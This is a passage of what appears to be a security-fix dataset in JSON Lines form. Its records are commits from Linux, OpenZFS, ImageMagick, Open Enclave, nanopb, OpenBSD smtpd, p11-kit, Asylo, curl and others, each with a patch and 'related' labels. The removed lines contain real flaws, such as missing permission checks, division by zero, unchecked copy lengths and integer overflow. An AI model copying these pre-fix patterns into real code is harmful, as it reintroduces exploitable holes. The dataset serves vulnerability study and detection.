array_index = 0;\n- unsigned int array_index_stack[ARRAY_INDEX_STACK_SIZE];\n+ size_t array_index_stack[ARRAY_INDEX_STACK_SIZE];\n size_t array_index_stack_pointer = 0;\n char array_index_buffer[ARRAY_INDEX_BUFFER_SIZE]; /* max BSON size */\n int end_of_data;", "sections": [{"section": "@@ -172,7 +172,7 @@ static bcon_error_t bson_append_bcon_with_state(bson *b, const bcon *bc, bcon_st\n unsigned char doc_stack[DOC_STACK_SIZE];\n size_t doc_stack_pointer = 0;\n size_t array_index = 0;\n- unsigned int array_index_stack[ARRAY_INDEX_STACK_SIZE];\n+ size_t array_index_stack[ARRAY_INDEX_STACK_SIZE];\n size_t array_index_stack_pointer = 0;\n char array_index_buffer[ARRAY_INDEX_BUFFER_SIZE]; /* max BSON size */\n int end_of_data;", "related": true}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/nfc/rawsock.c", "commit_id": "26896f01467a28651f7a536143fe5ac8449d4041", "commit_message": "net/nfc/rawsock.c: add CAP_NET_RAW check.\n\nWhen creating a raw AF_NFC socket, CAP_NET_RAW needs to be checked first.\n\nSigned-off-by: Qingyu Li \nSigned-off-by: David S. Miller ", "patch": "@@ -328,10 +328,13 @@ static int rawsock_create(struct net *net, struct socket *sock,\n \tif ((sock->type != SOCK_SEQPACKET) && (sock->type != SOCK_RAW))\n \t\treturn -ESOCKTNOSUPPORT;\n \n-\tif (sock->type == SOCK_RAW)\n+\tif (sock->type == SOCK_RAW) {\n+\t\tif (!capable(CAP_NET_RAW))\n+\t\t\treturn -EPERM;\n \t\tsock->ops = &rawsock_raw_ops;\n-\telse\n+\t} else {\n \t\tsock->ops = &rawsock_ops;\n+\t}\n \n \tsk = sk_alloc(net, PF_NFC, GFP_ATOMIC, nfc_proto->proto, kern);\n \tif (!sk)", "sections": [{"section": "@@ -328,10 +328,13 @@ static int rawsock_create(struct net *net, struct socket *sock,\n \tif ((sock->type != SOCK_SEQPACKET) && (sock->type != SOCK_RAW))\n \t\treturn -ESOCKTNOSUPPORT;\n \n-\tif (sock->type == SOCK_RAW)\n+\tif (sock->type == SOCK_RAW) {\n+\t\tif (!capable(CAP_NET_RAW))\n+\t\t\treturn -EPERM;\n \t\tsock->ops = &rawsock_raw_ops;\n-\telse\n+\t} else {\n \t\tsock->ops = &rawsock_ops;\n+\t}\n \n \tsk = sk_alloc(net, PF_NFC, GFP_ATOMIC, nfc_proto->proto, kern);\n \tif (!sk)", "related": false}]} +{"owner": "openzfs", "repo": "zfs", "language": "C", "file_name": "module/zfs/zfs_fuid.c", "commit_id": "716b53d0a14c72bda16c0872565dd1909757e73f", "commit_message": "FreeBSD: Fix UNIX permissions checking\n\nReviewed-by: Ryan Moeller \r\nReviewed-by: Brian Behlendorf \r\nSigned-off-by: Matt Macy \r\nCloses #10727", "patch": "@@ -387,11 +387,34 @@ zfs_fuid_map_ids(znode_t *zp, cred_t *cr, uid_t *uidp, uid_t *gidp)\n \t cr, ZFS_GROUP);\n }\n \n+#ifdef __FreeBSD__\n+uid_t\n+zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n+ cred_t *cr, zfs_fuid_type_t type)\n+{\n+\tuint32_t index = FUID_INDEX(fuid);\n+\n+\tif (index == 0)\n+\t\treturn (fuid);\n+\n+\treturn (UID_NOBODY);\n+}\n+#elif defined(__linux__)\n+uid_t\n+zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n+ cred_t *cr, zfs_fuid_type_t type)\n+{\n+\t/*\n+\t * The Linux port only supports POSIX IDs, use the passed id.\n+\t */\n+\treturn (fuid);\n+}\n+\n+#else\n uid_t\n zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n cred_t *cr, zfs_fuid_type_t type)\n {\n-#ifdef HAVE_KSID\n \tuint32_t index = FUID_INDEX(fuid);\n \tconst char *domain;\n \tuid_t id;\n@@ -410,13 +433,8 @@ zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n \t\t FUID_RID(fuid), &id);\n \t}\n \treturn (id);\n-#else\n-\t/*\n-\t * The Linux port only supports POSIX IDs, use the passed id.\n-\t */\n-\treturn (fuid);\n-#endif /* HAVE_KSID */\n }\n+#endif\n \n /*\n * Add a FUID node to the list of fuid's being created for this\n@@ -559,9 +577,9 @@ zfs_fuid_create(zfsvfs_t *zfsvfs, uint64_t id, cred_t *cr,\n \tconst char *domain;\n \tchar *kdomain;\n \tuint32_t fuid_idx = FUID_INDEX(id);\n-\tuint32_t rid;\n+\tuint32_t rid = 0;\n \tidmap_stat status;\n-\tuint64_t idx = 0;\n+\tuint64_t idx = UID_NOBODY;\n \tzfs_fuid_t *zfuid = NULL;\n \tzfs_fuid_info_t *fuidp = NULL;\n \n@@ -711,9 +729,11 @@ boolean_t\n zfs_groupmember(zfsvfs_t *zfsvfs, uint64_t id, cred_t *cr)\n {\n #ifdef HAVE_KSID\n+\tuid_t\t\tgid;\n+\n+#ifdef illumos\n \tksid_t\t\t*ksid = crgetsid(cr, KSID_GROUP);\n \tksidlist_t\t*ksidlist = crgetsidlist(cr);\n-\tuid_t\t\tgid;\n \n \tif (ksid && ksidlist) {\n \t\tint\t\ti;\n@@ -746,6 +766,7 @@ zfs_groupmember(zfsvfs_t *zfsvfs, uint64_t id, cred_t *cr)\n \t\t\t}\n \t\t}\n \t}\n+#endif /* illumos */\n \n \t/*\n \t * Not found in ksidlist, check posix groups", "sections": [{"section": "@@ -387,11 +387,34 @@ zfs_fuid_map_ids(znode_t *zp, cred_t *cr, uid_t *uidp, uid_t *gidp)\n \t cr, ZFS_GROUP);\n }\n \n+#ifdef __FreeBSD__\n+uid_t\n+zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n+ cred_t *cr, zfs_fuid_type_t type)\n+{\n+\tuint32_t index = FUID_INDEX(fuid);\n+\n+\tif (index == 0)\n+\t\treturn (fuid);\n+\n+\treturn (UID_NOBODY);\n+}\n+#elif defined(__linux__)\n+uid_t\n+zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n+ cred_t *cr, zfs_fuid_type_t type)\n+{\n+\t/*\n+\t * The Linux port only supports POSIX IDs, use the passed id.\n+\t */\n+\treturn (fuid);\n+}\n+\n+#else\n uid_t\n zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n cred_t *cr, zfs_fuid_type_t type)\n {\n-#ifdef HAVE_KSID\n \tuint32_t index = FUID_INDEX(fuid);\n \tconst char *domain;\n \tuid_t id;\n", "related": false}, {"section": "@@ -410,13 +433,8 @@ zfs_fuid_map_id(zfsvfs_t *zfsvfs, uint64_t fuid,\n \t\t FUID_RID(fuid), &id);\n \t}\n \treturn (id);\n-#else\n-\t/*\n-\t * The Linux port only supports POSIX IDs, use the passed id.\n-\t */\n-\treturn (fuid);\n-#endif /* HAVE_KSID */\n }\n+#endif\n \n /*\n * Add a FUID node to the list of fuid's being created for this\n", "related": false}, {"section": "@@ -559,9 +577,9 @@ zfs_fuid_create(zfsvfs_t *zfsvfs, uint64_t id, cred_t *cr,\n \tconst char *domain;\n \tchar *kdomain;\n \tuint32_t fuid_idx = FUID_INDEX(id);\n-\tuint32_t rid;\n+\tuint32_t rid = 0;\n \tidmap_stat status;\n-\tuint64_t idx = 0;\n+\tuint64_t idx = UID_NOBODY;\n \tzfs_fuid_t *zfuid = NULL;\n \tzfs_fuid_info_t *fuidp = NULL;\n \n", "related": false}, {"section": "@@ -711,9 +729,11 @@ boolean_t\n zfs_groupmember(zfsvfs_t *zfsvfs, uint64_t id, cred_t *cr)\n {\n #ifdef HAVE_KSID\n+\tuid_t\t\tgid;\n+\n+#ifdef illumos\n \tksid_t\t\t*ksid = crgetsid(cr, KSID_GROUP);\n \tksidlist_t\t*ksidlist = crgetsidlist(cr);\n-\tuid_t\t\tgid;\n \n \tif (ksid && ksidlist) {\n \t\tint\t\ti;\n", "related": false}, {"section": "@@ -746,6 +766,7 @@ zfs_groupmember(zfsvfs_t *zfsvfs, uint64_t id, cred_t *cr)\n \t\t\t}\n \t\t}\n \t}\n+#endif /* illumos */\n \n \t/*\n \t * Not found in ksidlist, check posix groups", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/layer.c", "commit_id": "ef59bd764f88d893f1219fee8ba696a5d3f8c1c4", "commit_message": "There is a Division by Zero in function OptimizeLayerFrames (#2743)\n\nin file MagickCore/layer.c. cur->ticks_per_seconds can be zero\r\nwith a crafted input argument *image. This is similar to\r\nCVE-2019-13454.", "patch": "@@ -1352,11 +1352,13 @@ static Image *OptimizeLayerFrames(const Image *image,const LayerMethod method,\n if ( disposals[i] == DelDispose ) {\n size_t time = 0;\n while ( disposals[i] == DelDispose ) {\n- time += curr->delay*1000/curr->ticks_per_second;\n+ time +=(size_t) (curr->delay*1000*\n+ PerceptibleReciprocal((double) curr->ticks_per_second));\n curr=GetNextImageInList(curr);\n i++;\n }\n- time += curr->delay*1000/curr->ticks_per_second;\n+ time += (size_t)(curr->delay*1000*\n+ PerceptibleReciprocal((double) curr->ticks_per_second));\n prev_image->ticks_per_second = 100L;\n prev_image->delay = time*prev_image->ticks_per_second/1000;\n }", "sections": [{"section": "@@ -1352,11 +1352,13 @@ static Image *OptimizeLayerFrames(const Image *image,const LayerMethod method,\n if ( disposals[i] == DelDispose ) {\n size_t time = 0;\n while ( disposals[i] == DelDispose ) {\n- time += curr->delay*1000/curr->ticks_per_second;\n+ time +=(size_t) (curr->delay*1000*\n+ PerceptibleReciprocal((double) curr->ticks_per_second));\n curr=GetNextImageInList(curr);\n i++;\n }\n- time += curr->delay*1000/curr->ticks_per_second;\n+ time += (size_t)(curr->delay*1000*\n+ PerceptibleReciprocal((double) curr->ticks_per_second));\n prev_image->ticks_per_second = 100L;\n prev_image->delay = time*prev_image->ticks_per_second/1000;\n }", "related": false}]} +{"owner": "openenclave", "repo": "openenclave", "language": "C", "file_name": "include/openenclave/internal/syscall/fd.h", "commit_id": "bcac8e7acb514429fee9e0b5d0c7a0308fd4d76b", "commit_message": "Merge pull request from GHSA-525h-wxcc-f66m\n\nSigned-off-by: Ming-Wei Shih ", "patch": "@@ -110,7 +110,7 @@ typedef struct _oe_socket_ops\n void* buf,\n size_t len,\n int flags,\n- const struct oe_sockaddr* src_addr,\n+ struct oe_sockaddr* src_addr,\n oe_socklen_t* addrlen);\n \n ssize_t (*sendmsg)(oe_fd_t* sock, const struct oe_msghdr* msg, int flags);", "sections": [{"section": "@@ -110,7 +110,7 @@ typedef struct _oe_socket_ops\n void* buf,\n size_t len,\n int flags,\n- const struct oe_sockaddr* src_addr,\n+ struct oe_sockaddr* src_addr,\n oe_socklen_t* addrlen);\n \n ssize_t (*sendmsg)(oe_fd_t* sock, const struct oe_msghdr* msg, int flags);", "related": false}]} +{"owner": "openenclave", "repo": "openenclave", "language": "C", "file_name": "syscall/syscall.c", "commit_id": "bcac8e7acb514429fee9e0b5d0c7a0308fd4d76b", "commit_message": "Merge pull request from GHSA-525h-wxcc-f66m\n\nSigned-off-by: Ming-Wei Shih ", "patch": "@@ -617,8 +617,7 @@ static long _syscall(\n void* buf = (void*)arg2;\n size_t len = (size_t)arg3;\n int flags = (int)arg4;\n- const struct oe_sockaddr* dest_add =\n- (const struct oe_sockaddr*)arg5;\n+ struct oe_sockaddr* dest_add = (struct oe_sockaddr*)arg5;\n oe_socklen_t* addrlen = (oe_socklen_t*)arg6;\n \n ret = oe_recvfrom(sockfd, buf, len, flags, dest_add, addrlen);", "sections": [{"section": "@@ -617,8 +617,7 @@ static long _syscall(\n void* buf = (void*)arg2;\n size_t len = (size_t)arg3;\n int flags = (int)arg4;\n- const struct oe_sockaddr* dest_add =\n- (const struct oe_sockaddr*)arg5;\n+ struct oe_sockaddr* dest_add = (struct oe_sockaddr*)arg5;\n oe_socklen_t* addrlen = (oe_socklen_t*)arg6;\n \n ret = oe_recvfrom(sockfd, buf, len, flags, dest_add, addrlen);", "related": false}]} +{"owner": "nanopb", "repo": "nanopb", "language": "C", "file_name": "pb_decode.c", "commit_id": "4fe23595732b6f1254cfc11a9b8d6da900b55b0c", "commit_message": "Fix memory leak with oneofs and PB_ENABLE_MALLOC (#615)\n\nNanopb would leak memory when all of the following conditions were true:\n- PB_ENABLE_MALLOC is defined at the compile time\n- Message definitions contains an oneof field,\n the oneof contains a static submessage, and\n the static submessage contains a pointer field.\n- Data being decoded contains two values for the submessage.\n\nThe logic in pb_release_union_field would detect that the same\nsubmessage occurs twice, and wouldn't release it because keeping\nthe old values is necessary to match the C++ library behavior\nregarding message merges.\n\nBut then decode_static_field() would go to memset() the whole\nsubmessage to zero, because it unconditionally assumed it to\nbe uninitialized memory. This would normally happen when the\ncontents of the union field is switched to a different oneof\nitem, instead of merging with the same one.\n\nThis commit changes it so that the field is memset() only when\n`which_field` contains a different tag.", "patch": "@@ -464,14 +464,17 @@ static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t\n }\n \n case PB_HTYPE_ONEOF:\n- *(pb_size_t*)iter->pSize = iter->pos->tag;\n- if (PB_LTYPE(type) == PB_LTYPE_SUBMESSAGE)\n+ if (PB_LTYPE(type) == PB_LTYPE_SUBMESSAGE &&\n+ *(pb_size_t*)iter->pSize != iter->pos->tag)\n {\n /* We memset to zero so that any callbacks are set to NULL.\n- * Then set any default values. */\n+ * This is because the callbacks might otherwise have values\n+ * from some other union field. */\n memset(iter->pData, 0, iter->pos->data_size);\n pb_message_set_to_defaults((const pb_field_t*)iter->pos->ptr, iter->pData);\n }\n+ *(pb_size_t*)iter->pSize = iter->pos->tag;\n+\n return func(stream, iter->pos, iter->pData);\n \n default:", "sections": [{"section": "@@ -464,14 +464,17 @@ static bool checkreturn decode_static_field(pb_istream_t *stream, pb_wire_type_t\n }\n \n case PB_HTYPE_ONEOF:\n- *(pb_size_t*)iter->pSize = iter->pos->tag;\n- if (PB_LTYPE(type) == PB_LTYPE_SUBMESSAGE)\n+ if (PB_LTYPE(type) == PB_LTYPE_SUBMESSAGE &&\n+ *(pb_size_t*)iter->pSize != iter->pos->tag)\n {\n /* We memset to zero so that any callbacks are set to NULL.\n- * Then set any default values. */\n+ * This is because the callbacks might otherwise have values\n+ * from some other union field. */\n memset(iter->pData, 0, iter->pos->data_size);\n pb_message_set_to_defaults((const pb_field_t*)iter->pos->ptr, iter->pData);\n }\n+ *(pb_size_t*)iter->pSize = iter->pos->tag;\n+\n return func(stream, iter->pos, iter->pData);\n \n default:", "related": false}]} +{"owner": "ansible-collections", "repo": "community.crypto", "language": "Python", "file_name": "plugins/modules/openssl_privatekey.py", "commit_id": "233d1afc296f6770e905a1785ee2f35af7605e43", "commit_message": "CVE-2020-25646: no_log=True missing for private key content options (#125)\n\n* Mark private key content options as no_log (CVE-2020-25646.)\r\n\r\n* Mention no_log for openssl_privatekey's return_content option.\r\n\r\n* Add change PR's URL.\r\n\r\n* Plural.", "patch": "@@ -152,6 +152,8 @@\n - If set to C(yes), will return the (current or generated) private key's content as I(privatekey).\n - Note that especially if the private key is not encrypted, you have to make sure that the returned\n value is treated appropriately and not accidentally written to logs etc.! Use with care!\n+ - Use Ansible's I(no_log) task option to avoid the output being shown. See also\n+ U(https://docs.ansible.com/ansible/latest/reference_appendices/faq.html#how-do-i-keep-secret-data-in-my-playbook).\n type: bool\n default: no\n version_added: '1.0.0'", "sections": [{"section": "@@ -152,6 +152,8 @@\n - If set to C(yes), will return the (current or generated) private key's content as I(privatekey).\n - Note that especially if the private key is not encrypted, you have to make sure that the returned\n value is treated appropriately and not accidentally written to logs etc.! Use with care!\n+ - Use Ansible's I(no_log) task option to avoid the output being shown. See also\n+ U(https://docs.ansible.com/ansible/latest/reference_appendices/faq.html#how-do-i-keep-secret-data-in-my-playbook).\n type: bool\n default: no\n version_added: '1.0.0'", "related": false}]} +{"owner": "openbsd", "repo": "src", "language": "C", "file_name": "usr.sbin/smtpd/lka_filter.c", "commit_id": "6c3220444ed06b5796dedfd53a0f4becd903c0d1", "commit_message": "smtpd's filter state machine can prematurely release resources\nleading to a crash. From gilles@", "patch": "@@ -1,4 +1,4 @@\n-/*\t$OpenBSD: lka_filter.c,v 1.64 2020/12/20 13:27:46 martijn Exp $\t*/\n+/*\t$OpenBSD: lka_filter.c,v 1.65 2020/12/23 20:17:49 millert Exp $\t*/\n \n /*\n * Copyright (c) 2018 Gilles Chehade \n@@ -600,11 +600,6 @@ filter_session_io(struct io *io, int evt, void *arg)\n \t\tfilter_data(fs->id, line);\n \n \t\tgoto nextline;\n-\n-\tcase IO_DISCONNECTED:\n-\t\tio_free(fs->io);\n-\t\tfs->io = NULL;\n-\t\tbreak;\n \t}\n }\n ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/*\t$OpenBSD: lka_filter.c,v 1.64 2020/12/20 13:27:46 martijn Exp $\t*/\n+/*\t$OpenBSD: lka_filter.c,v 1.65 2020/12/23 20:17:49 millert Exp $\t*/\n \n /*\n * Copyright (c) 2018 Gilles Chehade \n", "related": false}, {"section": "@@ -600,11 +600,6 @@ filter_session_io(struct io *io, int evt, void *arg)\n \t\tfilter_data(fs->id, line);\n \n \t\tgoto nextline;\n-\n-\tcase IO_DISCONNECTED:\n-\t\tio_free(fs->io);\n-\t\tfs->io = NULL;\n-\t\tbreak;\n \t}\n }\n ", "related": false}]} +{"owner": "p11-glue", "repo": "p11-kit", "language": "C", "file_name": "p11-kit/rpc-message.c", "commit_id": "5307a1d21a50cacd06f471a873a018d23ba4b963", "commit_message": "Check for arithmetic overflows before allocating", "patch": "@@ -43,6 +43,7 @@\n #include \"rpc-message.h\"\n \n #include \n+#include \n #include \n \n #define ELEMS(x) (sizeof (x) / sizeof (x[0]))\n@@ -114,6 +115,18 @@ p11_rpc_message_alloc_extra (p11_rpc_message *msg,\n \treturn (void *)(data + 1);\n }\n \n+void *\n+p11_rpc_message_alloc_extra_array (p11_rpc_message *msg,\n+\t\t\t\t size_t nmemb,\n+\t\t\t\t size_t size)\n+{\n+\tif ((SIZE_MAX - sizeof (void *)) / nmemb < size) {\n+\t\terrno = ENOMEM;\n+\t\treturn NULL;\n+\t}\n+\treturn p11_rpc_message_alloc_extra (msg, nmemb * size);\n+}\n+\n bool\n p11_rpc_message_prep (p11_rpc_message *msg,\n int call_id,", "sections": [{"section": "@@ -43,6 +43,7 @@\n #include \"rpc-message.h\"\n \n #include \n+#include \n #include \n \n #define ELEMS(x) (sizeof (x) / sizeof (x[0]))\n", "related": false}, {"section": "@@ -114,6 +115,18 @@ p11_rpc_message_alloc_extra (p11_rpc_message *msg,\n \treturn (void *)(data + 1);\n }\n \n+void *\n+p11_rpc_message_alloc_extra_array (p11_rpc_message *msg,\n+\t\t\t\t size_t nmemb,\n+\t\t\t\t size_t size)\n+{\n+\tif ((SIZE_MAX - sizeof (void *)) / nmemb < size) {\n+\t\terrno = ENOMEM;\n+\t\treturn NULL;\n+\t}\n+\treturn p11_rpc_message_alloc_extra (msg, nmemb * size);\n+}\n+\n bool\n p11_rpc_message_prep (p11_rpc_message *msg,\n int call_id,", "related": false}]} +{"owner": "google", "repo": "asylo", "language": "C", "file_name": "asylo/platform/host_call/trusted/host_calls.cc", "commit_id": "6ff3b77ffe110a33a2f93848a6333f33616f02c4", "commit_message": "Check for result size in dst in inet_ntop\n\nPiperOrigin-RevId: 333814318\nChange-Id: Id7766ed598809f5df42d457f224d6f3dea06c224", "patch": "@@ -1325,9 +1325,10 @@ const char *enc_untrusted_inet_ntop(int af, const void *src, char *dst,\n return nullptr;\n }\n \n- memcpy(dst, result.data(),\n- std::min(static_cast(size),\n- static_cast(INET6_ADDRSTRLEN)));\n+ memcpy(\n+ dst, result.data(),\n+ std::min({static_cast(size), static_cast(result.size()),\n+ static_cast(INET6_ADDRSTRLEN)}));\n return dst;\n }\n ", "sections": [{"section": "@@ -1325,9 +1325,10 @@ const char *enc_untrusted_inet_ntop(int af, const void *src, char *dst,\n return nullptr;\n }\n \n- memcpy(dst, result.data(),\n- std::min(static_cast(size),\n- static_cast(INET6_ADDRSTRLEN)));\n+ memcpy(\n+ dst, result.data(),\n+ std::min({static_cast(size), static_cast(result.size()),\n+ static_cast(INET6_ADDRSTRLEN)}));\n return dst;\n }\n ", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "src/main.c", "commit_id": "80675818e0417be8c991513b328c5507e93b47e5", "commit_message": "Added -J/--remote-header-name.", "patch": "@@ -615,6 +615,7 @@ struct Configurable {\n bool post302;\n bool nokeepalive; /* for keepalive needs */\n long alivetime;\n+ bool content_disposition; /* use Content-disposition filename */\n \n int default_node_flags; /* default flags to seach for each 'node', which is\n basically each given URL to transfer */\n@@ -819,6 +820,7 @@ static void help(void)\n \" --krb Enable Kerberos with specified security level (F)\",\n \" --libcurl Dump libcurl equivalent code of this command line\",\n \" --limit-rate Limit transfer speed to this rate\",\n+ \" -J/--remote-header-name Use the header-provided filename (H)\",\n \" -l/--list-only List only names of an FTP directory (F)\",\n \" --local-port [-num] Force use of these local port numbers\",\n \" -L/--location Follow Location: hints (H)\",\n@@ -1792,6 +1794,7 @@ static ParameterError getparameter(char *flag, /* f or -long-flag */\n {\"i\", \"include\", FALSE},\n {\"I\", \"head\", FALSE},\n {\"j\", \"junk-session-cookies\", FALSE},\n+ {\"J\", \"remote-header-name\", FALSE},\n {\"k\", \"insecure\", FALSE},\n {\"K\", \"config\", TRUE},\n {\"l\", \"list-only\", FALSE},\n@@ -2664,6 +2667,14 @@ static ParameterError getparameter(char *flag, /* f or -long-flag */\n &config->httpreq))\n return PARAM_BAD_USE;\n break;\n+ case 'J': /* --remote-header-name */\n+ if (config->include_headers) {\n+ warnf(config,\n+ \"--include and --remote-header-name cannot be combined.\\n\");\n+ return PARAM_BAD_USE;\n+ }\n+ config->content_disposition = toggle;\n+ break;\n case 'k': /* allow insecure SSL connects */\n config->insecure_ok = toggle;\n break;\n@@ -3314,24 +3325,41 @@ static void go_sleep(long ms)\n \n static size_t my_fwrite(void *buffer, size_t sz, size_t nmemb, void *stream)\n {\n- int res;\n size_t rc;\n struct OutStruct *out=(struct OutStruct *)stream;\n struct Configurable *config = out->config;\n \n+ /*\n+ * Once that libcurl has called back my_fwrite() the returned value\n+ * is checked against the amount that was intended to be written, if\n+ * it does not match then it fails with CURLE_WRITE_ERROR. So at this\n+ * point returning a value different from sz*nmemb indicates failure.\n+ */\n+ const size_t err_rc = (sz * nmemb) ? 0 : 1;\n+\n if(!out->stream) {\n+ if (!out->filename) {\n+ warnf(config, \"Remote filename has no length!\\n\");\n+ return err_rc; /* Failure */\n+ }\n+\n+ if (config->content_disposition) {\n+ /* don't overwrite existing files */\n+ FILE* f = fopen(out->filename, \"r\");\n+ if (f) {\n+ fclose(f);\n+ warnf(config, \"Refusing to overwrite %s: %s\\n\", out->filename,\n+ strerror(EEXIST));\n+ return err_rc; /* Failure */\n+ }\n+ }\n+\n /* open file for writing */\n out->stream=fopen(out->filename, \"wb\");\n if(!out->stream) {\n- warnf(config, \"Failed to create the file %s\\n\", out->filename);\n- /*\n- * Once that libcurl has called back my_fwrite() the returned value\n- * is checked against the amount that was intended to be written, if\n- * it does not match then it fails with CURLE_WRITE_ERROR. So at this\n- * point returning a value different from sz*nmemb indicates failure.\n- */\n- rc = (0 == (sz * nmemb)) ? 1 : 0;\n- return rc; /* failure */\n+ warnf(config, \"Failed to create the file %s: %s\\n\", out->filename,\n+ strerror(errno));\n+ return err_rc; /* failure */\n }\n }\n \n@@ -3349,11 +3377,10 @@ static size_t my_fwrite(void *buffer, size_t sz, size_t nmemb, void *stream)\n \n if(config->nobuffer) {\n /* disable output buffering */\n- res = fflush(out->stream);\n+ int res = fflush(out->stream);\n if(res) {\n /* return a value that isn't the same as sz * nmemb */\n- rc = (0 == (sz * nmemb)) ? 1 : 0;\n- return rc; /* failure */\n+ return err_rc; /* failure */\n }\n }\n \n@@ -4049,6 +4076,87 @@ static bool stdin_upload(const char *uploadfile)\n return curlx_strequal(uploadfile, \"-\") || curlx_strequal(uploadfile, \".\");\n }\n \n+static char*\n+parse_filename(char *ptr, int len)\n+{\n+ char* copy;\n+ char* p;\n+ char* q;\n+ char quote = 0;\n+\n+ /* simple implementation of strndup() */\n+ copy = malloc(len+1);\n+ if (!copy)\n+ return NULL;\n+ strncpy(copy, ptr, len);\n+ copy[len] = 0;\n+ \n+ p = copy;\n+ if (*p == '\\'' || *p == '\"') {\n+ /* store the starting quote */\n+ quote = *p;\n+ p++;\n+ }\n+\n+ /* if the filename contains a path, only use filename portion */\n+ q = strrchr(copy, '/');\n+ if (q) {\n+ p=q+1;\n+ if (!*p) {\n+ free(copy);\n+ return NULL;\n+ }\n+ }\n+\n+ q = strrchr(p, quote);\n+ if (q)\n+ *q = 0;\n+\n+ if (copy!=p)\n+ memmove(copy, p, strlen(p)+1);\n+\n+ return copy;\n+}\n+\n+static size_t\n+header_callback(void *ptr, size_t size, size_t nmemb, void *stream)\n+{\n+ struct OutStruct* outs = (struct OutStruct*)stream;\n+ const char* str = (char*)ptr;\n+ const size_t cb = size*nmemb;\n+ const char* end = (char*)ptr + cb;\n+\n+ if (cb > 20 && curlx_strnequal(str, \"Content-disposition:\", 20)) {\n+ char *p = (char*)str + 20;\n+\n+ /* look for the 'filename=' parameter\n+ (encoded filenames (*=) are not supported) */\n+ while (1) {\n+ char *filename;\n+\n+ while (p < end && !isalpha(*p))\n+ p++;\n+ if (p > end-9)\n+ break;\n+\n+ if (memcmp(p, \"filename=\", 9)) {\n+ /* no match, find next parameter */\n+ while ((p < end) && (*p != ';'))\n+ p++;\n+ continue;\n+ }\n+ p+=9;\n+ filename = parse_filename(p, cb - (p - str));\n+ if (filename) {\n+ outs->filename = filename;\n+ break;\n+ }\n+ }\n+ }\n+\n+ return cb;\n+}\n+\n static int\n operate(struct Configurable *config, int argc, argv_item_t argv[])\n {\n@@ -4431,7 +4539,7 @@ operate(struct Configurable *config, int argc, argv_item_t argv[])\n pc++;\n outfile = *pc ? strdup(pc): NULL;\n }\n- if(!outfile || !*outfile) {\n+ if((!outfile || !*outfile) && !config->content_disposition) {\n helpf(config->errors, \"Remote file name has no length!\\n\");\n res = CURLE_WRITE_ERROR;\n free(url);\n@@ -5046,6 +5154,12 @@ operate(struct Configurable *config, int argc, argv_item_t argv[])\n if(config->ftp_pret)\n my_setopt(curl, CURLOPT_FTP_USE_PRET, TRUE);\n \n+ if ((urlnode->flags & GETOUT_USEREMOTE)\n+ && config->content_disposition) {\n+ my_setopt(curl, CURLOPT_HEADERFUNCTION, header_callback);\n+ my_setopt(curl, CURLOPT_HEADERDATA, &outs);\n+ }\n+ \n retry_numretries = config->req_retry;\n \n retrystart = cutil_tvnow();\n@@ -5057,6 +5171,9 @@ operate(struct Configurable *config, int argc, argv_item_t argv[])\n break;\n }\n \n+ if (config->content_disposition && outs.stream && !config->mute)\n+ printf(\"curl: Saved to filename '%s'\\n\", outs.filename);\n+\n /* if retry-max-time is non-zero, make sure we haven't exceeded the\n time */\n if(retry_numretries &&", "sections": [{"section": "@@ -615,6 +615,7 @@ struct Configurable {\n bool post302;\n bool nokeepalive; /* for keepalive needs */\n long alivetime;\n+ bool content_disposition; /* use Content-disposition filename */\n \n int default_node_flags; /* default flags to seach for each 'node', which is\n basically each given URL to transfer */\n", "related": false}, {"section": "@@ -819,6 +820,7 @@ static void help(void)\n \" --krb Enable Kerberos with specified security level (F)\",\n \" --libcurl Dump libcurl equivalent code of this command line\",\n \" --limit-rate Limit transfer speed to this rate\",\n+ \" -J/--remote-header-name Use the header-provided filename (H)\",\n \" -l/--list-only List only names of an FTP directory (F)\",\n \" --local-port [-num] Force use of these local port numbers\",\n \" -L/--location Follow Location: hints (H)\",\n", "related": false}, {"section": "@@ -1792,6 +1794,7 @@ static ParameterError getparameter(char *flag, /* f or -long-flag */\n {\"i\", \"include\", FALSE},\n {\"I\", \"head\", FALSE},\n {\"j\", \"junk-session-cookies\", FALSE},\n+ {\"J\", \"remote-header-name\", FALSE},\n {\"k\", \"insecure\", FALSE},\n {\"K\", \"config\", TRUE},\n {\"l\", \"list-only\", FALSE},\n", "related": false}, {"section": "@@ -2664,6 +2667,14 @@ static ParameterError getparameter(char *flag, /* f or -long-flag */\n &config->httpreq))\n return PARAM_BAD_USE;\n break;\n+ case 'J': /* --remote-header-name */\n+ if (config->include_headers) {\n+ warnf(config,\n+ \"--include and --remote-header-name cannot be combined.\\n\");\n+ return PARAM_BAD_USE;\n+ }\n+ config->content_disposition = toggle;\n+ break;\n case 'k': /* allow insecure SSL connects */\n config->insecure_ok = toggle;\n break;\n", "related": false}, {"section": "@@ -3314,24 +3325,41 @@ static void go_sleep(long ms)\n \n static size_t my_fwrite(void *buffer, size_t sz, size_t nmemb, void *stream)\n {\n- int res;\n size_t rc;\n struct OutStruct *out=(struct OutStruct *)stream;\n struct Configurable *config = out->config;\n \n+ /*\n+ * Once that libcurl has called back my_fwrite() the returned value\n+ * is checked against the amount that was intended to be written, if\n+ * it does not match then it fails with CURLE_WRITE_ERROR. So at this\n+ * point returning a value different from sz*nmemb indicates failure.\n+ */\n+ const size_t err_rc = (sz * nmemb) ? 0 : 1;\n+\n if(!out->stream) {\n+ if (!out->filename) {\n+ warnf(config, \"Remote filename has no length!\\n\");\n+ return err_rc; /* Failure */\n+ }\n+\n+ if (config->content_disposition) {\n+ /* don't overwrite existing files */\n+ FILE* f = fopen(out->filename, \"r\");\n+ if (f) {\n+ fclose(f);\n+ warnf(config, \"Refusing to overwrite %s: %s\\n\", out->filename,\n+ strerror(EEXIST));\n+ return err_rc; /* Failure */\n+ }\n+ }\n+\n /* open file for writing 